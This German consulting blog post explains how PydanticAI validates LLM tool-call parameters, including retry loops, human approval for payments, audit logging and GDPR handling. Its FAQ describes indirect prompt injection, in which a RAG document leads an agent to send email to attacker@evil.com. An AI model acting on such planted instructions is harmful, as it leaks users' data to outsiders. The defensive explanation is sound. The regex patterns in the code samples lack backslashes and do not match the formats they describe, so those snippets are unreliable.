Structured Tool Calling mit PydanticAI: Validierung statt Halluzinationen

PydanticAI Tool Calling validiert jeden LLM-Tool-Call via Pydantic-Schema vor Ausführung. Ungültige Parameter lösen automatische Retry-Loops aus — kein Produktions-Incident.

15 Mai. 2026 | AI

Inhaltsverzeichnis

Pexon Consulting | 11 Min. Lesezeit | 17.04.2026


TL;DR

PydanticAI Tool Calling validiert jeden LLM-Tool-Call via Pydantic-Schema, bevor Code läuft. Ungültige Parameter lösen automatische Retry-Loops aus statt Produktions-Incidents. Pexon Consulting, Microsoft Partner mit 80 Mitarbeitern in Deutschland, setzt dieses Pattern für Zahlungsfreigaben, Rechnungsprüfung und DB-Schreibvorgänge ein. Top-5-LLMs halluzinieren laut Vectara Leaderboard 10-20% — ohne Validation ist das Produktions-Russisch-Roulette.


Was ein halluzinierter Parameter in Produktion anrichtet

Ein realer Fall aus einem Projekt Anfang 2026: Ein LLM-Agent sollte Rechnungen im ERP nachschlagen. Die Tool-Funktion erwartete invoice_number im Format R-YYYY-NNNN. Das LLM schickte an zufälligen Tagen invoice_number="1234" oder invoice_number="R/2026/1234" — was die SAP-Schnittstelle mit einem generischen 500er quittierte. Der Agent interpretierte den Error als „Rechnung nicht gefunden“ und informierte den User, es gebe die Rechnung nicht. In einem Fall wurde daraufhin eine bereits bezahlte Rechnung doppelt überwiesen.

Das ist keine Exotik. Der Vectara Hallucination Leaderboard zeigt bei Top-5-Modellen Halluzinationsraten zwischen 10 und 20%. In Legal-Domänen messen unabhängige Benchmarks bis zu 88% Halluzinationsrate. 47% der Enterprise-AI-Nutzer trafen laut einer SQ Magazine Erhebung 2024 mindestens eine Geschäftsentscheidung basierend auf halluziniertem Inhalt.

Der Air-Canada-Fall hat das Thema juristisch festgezurrt: Im Februar 2024 verurteilte das British Columbia Civil Resolution Tribunal die Fluggesellschaft zu 650 CAD Schadenersatz, weil ihr Chatbot eine nicht-existente Trauerfall-Regelung erfand. Das Argument „Der Chatbot ist eine eigene juristische Entität“ wies das Gericht zurück. DACH-Gerichte orientieren sich aktuell an diesem Präzedenzfall, wenn über KI-Haftung entschieden wird.


Warum Tool Calling der kritische Pfad ist

Für reine Q&A-Agenten ist eine Halluzination ärgerlich, aber eingrenzbar. Für Agenten mit Tool-Zugriff ist jeder halluzinierte Parameter eine echte Aktion in einem Fremdsystem: Ein SQL-UPDATE auf die Produktions-DB. Ein HTTP-POST an die Payment-API. Ein E-Mail-Versand. Ein Datei-Write.

Die OWASP LLM Top 10 listet Tool-Call-Probleme an drei Stellen: LLM05 „Improper Output Handling“, LLM06 „Excessive Agency“ und indirekt LLM01 „Prompt Injection“ (siehe unseren Artikel zu Indirect Prompt Injection). Alle drei sind in über 70% der untersuchten Produktions-Deployments nachweisbar.

Structured Tool Calling mit PydanticAI-Validation adressiert den Kern: Ein Tool-Call landet erst dann in Ihrem Code, wenn er Pydantic-validiert durch ein Schema gekommen ist.


Das Pattern im Kern

from pydantic import BaseModel, Field
from pydantic_ai import Agent, RunContext
from dataclasses import dataclass

@dataclass
class Deps:
    erp: ERPClient
    tenant_id: str

class InvoiceQuery(BaseModel):
    invoice_number: str = Field(
        pattern=r"^R-d{4}-d{4}$",
        description="Format: R-YYYY-NNNN, z.B. R-2026-0815",
    )
    year: int = Field(ge=2020, le=2030)

class InvoiceResult(BaseModel):
    status: str
    amount_eur: float
    paid: bool

agent = Agent(
    "azure:gpt-4o",
    deps_type=Deps,
    output_type=InvoiceResult,
    system_prompt="Du prüfst Rechnungsnummern im ERP.",
)

@agent.tool
async def lookup_invoice(
    ctx: RunContext[Deps], query: InvoiceQuery
) -> dict:
    """Sucht eine Rechnung im ERP nach Nummer und Jahr."""
    # InvoiceQuery ist Pydantic-validiert bevor dieser Code läuft.
    # Ungültige Formate kommen hier nie an.
    return await ctx.erp.get(
        number=query.invoice_number,
        year=query.year,
        tenant=ctx.deps.tenant_id,
    )

# Aufruf
async def check_invoice(user_text: str, deps: Deps) -> InvoiceResult:
    result = await agent.run(user_text, deps=deps)
    return result.output

Drei Dinge passieren hier, die in einer nackten OpenAI-SDK-Implementierung nicht passieren:

  1. Input-Validation am Tool: InvoiceQuery mit pattern und ge/le-Constraints. Ein LLM-generiertes invoice_number="1234" schlägt an der Pydantic-Schicht fehl, nicht erst im ERP.
  2. Retry-Loop ohne Code-Pfad für Errors: Wenn die Validation fehlschlägt, sendet PydanticAI den ValidationError automatisch an das LLM zurück. Das Modell korrigiert den Call im nächsten Turn. Kein Exception, kein 500-Error für den User.
  3. Output-Validation am Agent: output_type=InvoiceResult zwingt den Agent zu einem Pydantic-Objekt als Endergebnis. Kein Dict, kein Raten an Schlüsseln.

Wie die Retry-Loop technisch läuft

Der Punkt, der oft übersehen wird: PydanticAI macht die Retry-Loop nicht in Ihrem Code, sondern in einer eigenen Schicht. Aus Sicht des Callers sieht ein Agent-Run, bei dem das LLM zweimal den falschen Parameter schickt und sich im dritten Anlauf korrigiert, genau gleich aus wie ein Run, der im ersten Turn klappt — nur mit mehr Tokens.

# Was intern passiert (vereinfacht)
for attempt in range(MAX_RETRIES):
    llm_response = await llm.complete(messages)
    if llm_response.is_tool_call:
        try:
            args = ToolModel.model_validate(llm_response.args)  # Pydantic
            tool_result = await run_tool(args)
            messages.append(tool_message(tool_result))
        except ValidationError as e:
            messages.append(error_message(e))  # → zurück an LLM
            continue
    else:
        output = OutputModel.model_validate(llm_response.content)
        return output
raise MaxRetriesExceeded()

Der ValidationError geht als Fehlernachricht ins LLM-Conversation-History. Das Modell sieht: „Dein letzter Tool-Call war ungültig — invoice_number muss dem Pattern R-YYYY-NNNN folgen.“ Und korrigiert sich. Das ist nicht magisch, das ist eine Schleife. Aber es ist die Schleife, die den Unterschied zwischen Demo und Produktion macht.


Warum LangChain Output Parsers das nicht zuverlässig leisten

LangChain kennt Output Parsers — aber sie sind opt-in und silent-fail. Ein PydanticOutputParser wirft einen Error, den der Developer selbst abfangen und in eine Retry-Logik gießen muss. In Code-Reviews sehen wir häufig:

# Typisches LangChain-Muster — fragil
parser = PydanticOutputParser(pydantic_object=InvoiceResult)
try:
    result = parser.parse(llm_output)
except ValidationError:
    # Oft: result = None, User sieht leere Antwort
    result = InvoiceResult(status="error", amount_eur=0, paid=False)

Das funktioniert. Es ist aber nicht default. PydanticAI dreht diesen Standard um: Validation ist Pflicht, Retry-Loop ist eingebaut. In regulierten Branchen — Banking, Versicherung, Healthcare — ist genau diese Umkehr der Default-Einstellungen das, was ein Audit bestehen lässt.


Excessive Agency vermeiden: Tool-Scoping

OWASP LLM06 „Excessive Agency“ beschreibt das Risiko, einem Agent zu viele Tools oder zu breite Berechtigungen zu geben. Unsere Empfehlung bei Kundenprojekten: Pro Agent maximal 5-8 Tools, jedes mit klarem Input-Schema und dokumentiertem Blast Radius. Für Write-Tools (INSERT, UPDATE, E-Mail-Versand, Payments) setzen wir zusätzlich auf Human-in-the-Loop.

# High-Risk Tool mit expliziter Approval-Schleife
class PaymentRequest(BaseModel):
    recipient_iban: str = Field(pattern=r"^DEd{20}$")
    amount_eur: float = Field(gt=0, le=50000)
    purpose: str = Field(max_length=140)

@agent.tool
async def submit_payment(
    ctx: RunContext[Deps], req: PaymentRequest
) -> dict:
    """Reiche Zahlung zur menschlichen Freigabe ein (Tier: HIGH)."""
    approval_id = await ctx.deps.approval_queue.push(
        evidence=req.model_dump(),
        tier="HIGH",
        fail_closed=True,
    )
    # Dieser Call kommt synchron erst zurück, wenn ein Mensch
    # im Approval-UI freigegeben hat — oder wird abgelehnt.
    decision = await ctx.deps.approval_queue.wait(approval_id, timeout=3600)
    if not decision.approved:
        return {"status": "rejected", "reason": decision.reason}
    return await ctx.deps.bank.submit(req)

Das LLM sieht in seinem Tool-Catalog submit_payment wie jedes andere Tool — es weiß nicht, dass ein Mensch drin hängt. Das ist gut so. Der Agent optimiert auf „Task erledigt“, der Mensch optimiert auf „nichts kaputt gemacht“. Die Tool-Signatur ist der Verhandlungspunkt zwischen beiden.


Was ein produktionsreifer Tool-Call-Stack mitbringt

In Enterprise-Projekten setzen wir zusätzlich zu den Pydantic-Schemas eine Reihe von Gürteln:

Rate-Limiting pro Tool: Ein Bug (oder Prompt Injection) darf keinen Tool-Call-Sturm auslösen, der unser Azure-Budget sprengt. Typisch 100-500 Calls pro Minute pro Tool, mit exponentieller Backoff bei Rate-Limit-Errors.

Structured Audit-Logs: Jeder Tool-Call landet mit Trace-ID, User, Input-Hash, Risk-Tier und Output in einem Audit-Store. Azure Log Analytics oder OpenSearch mit 7-Jahres-Retention für regulierte Branchen.

Token-Budget-Caps: Pro Agent-Run ein hartes Token-Limit. Ein außer Kontrolle geratener Agent, der in einer Endlos-Loop halluziniert, kostet sonst schnell vierstellige Beträge.

Fail-Closed Defaults: Wenn die Validation-Retry-Loop nach N Versuchen keinen gültigen Call produziert, wird der Agent-Run beendet und der User sieht „Anfrage nicht verstanden“ — nicht eine halluzinierte Antwort.

Evaluation-Harness: Vor jedem Produktiv-Deployment ein Benchmark-Set von 50-200 Test-Fällen mit bekannten guten Tool-Call-Sequenzen. CI failed, wenn die Pass-Rate unter eine Schwelle fällt.


DSGVO und Tool Calling

Tool Calls sind aus DSGVO-Perspektive besonders kritisch, weil sie oft personenbezogene Daten in strukturierter Form übermitteln — eine Kundennummer, eine IBAN, eine Mail-Adresse. Art. 32 DSGVO (Technische und organisatorische Maßnahmen) verlangt, dass diese Übermittlung kontrolliert, protokolliert und minimiert stattfindet.

Drei konkrete Empfehlungen aus Pexon-Kundenprojekten:

Erstens: Pseudonymisieren Sie in der Tool-Input-Schema-Schicht, wenn möglich. Wenn ein Agent nicht die echte Kundennummer braucht, sondern einen internen Token, reichen Sie den Token durch. Die Umwandlung passiert in einem Custom-Tool, das im Ihrem Backend läuft — nicht in Claude/GPT.

Zweitens: Halten Sie Tool-Logs DSGVO-konform. Wir sehen oft, dass Tool-Inputs komplett in Azure Log Analytics landen, inklusive Namen und Adressen. Art. 5 DSGVO (Datenminimierung) verlangt mehr: Hash-only für PII-Felder, echter Wert nur wenn explizit benötigt und im Verzeichnis der Verarbeitungstätigkeiten dokumentiert.

Drittens: EU Data Boundary in Azure aktivieren. Der Default von Azure OpenAI schickt Telemetrie und Abuse-Monitoring-Metadaten in US-Regionen. Ein aktiviertes EU Data Boundary hält diese Metadaten in der EU. Das ist ein Schalter, kein Code — aber in unseren DSGVO-Reviews bei Kunden war er in 4 von 10 Fällen nicht gesetzt.


Häufig gestellte Fragen

Wie verhindert PydanticAI Halluzinationen konkret?

PydanticAI verhindert nicht, dass ein LLM halluziniert. Es verhindert, dass eine Halluzination in Ihren Code durchkommt. Jeder Tool-Call wird vor Ausführung gegen ein Pydantic-JSON-Schema geprüft. Ungültige Argumente lösen einen ValidationError aus, der als Korrektur-Message zurück ans LLM geht. Das Modell korrigiert sich, der falsche Call erreicht nie das Fremdsystem.

Was ist der Unterschied zu LangChain Output Parsers?

LangChain Output Parser sind standardmäßig opt-in — der Developer muss Validation explizit einbauen und die Retry-Logik selbst schreiben. PydanticAI dreht das um: Validation ist Default, die Retry-Loop ist Teil des Frameworks. In regulierten Branchen ist diese Umkehr auditierbar wichtig. Ein Tool-Call ohne Validation-Schema lässt sich in PydanticAI nicht einmal definieren.

Reicht Tool-Validation, um Prompt Injection zu verhindern?

Nein. Validation deckt den Syntax-Teil ab — dass ein Parameter das richtige Format hat. Gegen Indirect Prompt Injection (ein Angreifer-Dokument im RAG, das den Agent zu send_email(to=attacker@evil.com) überredet) braucht es zusätzlich Egress-Firewalls, Content-Spotlighting und Human-in-the-Loop für High-Risk-Tools. Wir behandeln das Thema ausführlich in Indirect Prompt Injection in RAG-Systemen.

Welche Pydantic-Constraints sind für Tool-Schemas besonders wichtig?

pattern (Regex für Kundennummern, IBANs, IDs), ge/le für numerische Grenzen (verhindert amount_eur=-1000), max_length für Freitext-Felder (verhindert Prompt-Injection-Exfiltration via lange Strings), Literal oder Enum für geschlossene Wertelisten. Je enger das Schema, desto kleiner die Angriffsfläche — und desto seltener halluziniert das LLM.

Wie teste ich Tool-Validation ohne echte LLM-Calls?

Mit PydanticAI’s TestModel oder FunctionModel. TestModel ruft alle registrierten Tools mit synthetischen, schema-konformen Daten auf — perfekt für Unit-Tests. FunctionModel lässt Sie eigene Mock-Antworten definieren, inklusive bewusst ungültiger Calls, um die Retry-Loop zu testen. Kombiniert mit Agent.override() als Pytest-Fixture laufen Tests in Sekunden ohne API-Budget.


Nächster Schritt

Wenn Sie einen produktiven Agent-Service mit Tool-Zugriff bauen oder einen bestehenden Stack auf Production-Hardness bringen wollen, durchleuchten wir Ihren Tool-Layer in einem 90-minütigen Review: Welche Schemas fehlen? Welche Tools brauchen Human-in-the-Loop? Wo liegt das Rate-Limit-Risiko?


Verwandte Themen


Microsoft Fabric. Bilder Blogtemplate Whitepaper

Claude Code im Unternehmen

  • Praxis-Guide für IT-Leiter – mit konkreten Einblicken zu Kosten, Sicherheit und Rollout von Claude Code im Unternehmen.

Beratungsgespräch

Sichern Sie sich Ihre kostenfreie Erstberatung

Analyse Ihres individuellen Cloud- oder KI-Bedarfs
Erste Empfehlungen zu Umsetzungsstrategien
Transparente Einblicke in unsere Methoden, Technologien & Referenzen